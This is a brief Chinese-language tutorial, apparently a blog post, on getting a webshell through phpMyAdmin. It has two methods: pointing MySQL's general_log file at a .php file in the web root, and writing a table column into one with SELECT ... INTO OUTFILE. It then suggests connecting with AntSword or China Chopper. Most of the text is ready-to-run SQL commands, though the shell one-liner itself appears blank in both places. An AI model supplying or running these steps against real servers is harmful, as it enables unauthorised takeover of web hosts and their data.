背景
phpMyAdmin 是一個以PHP爲基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。通過mysql相關特性,可以實現對任意文件的寫入,從而實現getshell。
思路1:通過日誌文件寫入
mysql 5.0版本以上會創建日誌文件,修改日誌的全局變量,也可以getshell。但是也要對生成的日誌有可讀可寫的權限。
查看日誌狀態
show variables like ‘%general%’;
開啓日誌
SET GLOBAL general_log=’on’
創建文件
在設置日誌路徑之前,需要先知道web的絕對路徑;通過 Select @@datadir; 獲取
獲取絕對路徑後,需要根據返回的信息猜測判斷web路徑;
設置日誌文件生成路徑,需要存在web根目錄下,才能通過web訪問;
SET GLOBAL general_log_file=’C:/xampp/htdocs/111.php’
執行完,即會生成日誌文件;
接着執行
即可在日誌文件插入一句話; 直接用蟻劍或者菜刀鏈接即可
思路2:利用mysql備份功能
進入phpmyadmin,選擇一個數據庫,創建一張表比如table_text,添加一個TEXT類型的字段,用來存放shell語句;
同樣的道理,需要先獲取web的路徑,方法同思路1;
執行sql語句
select cmd from table_text into outfile ‘C:/xampp/htdocs/1122.php’;
這樣一句話就生成了;
總結思路2:
Create TABLE table_text (cmd text NOT NULL);
Insert INTO table_text (cmd) VALUES(”);
select cmd from table_text into outfile ‘C:/xampp/htdocs/1122.php’;
Drop TABLE IF EXISTS table_text;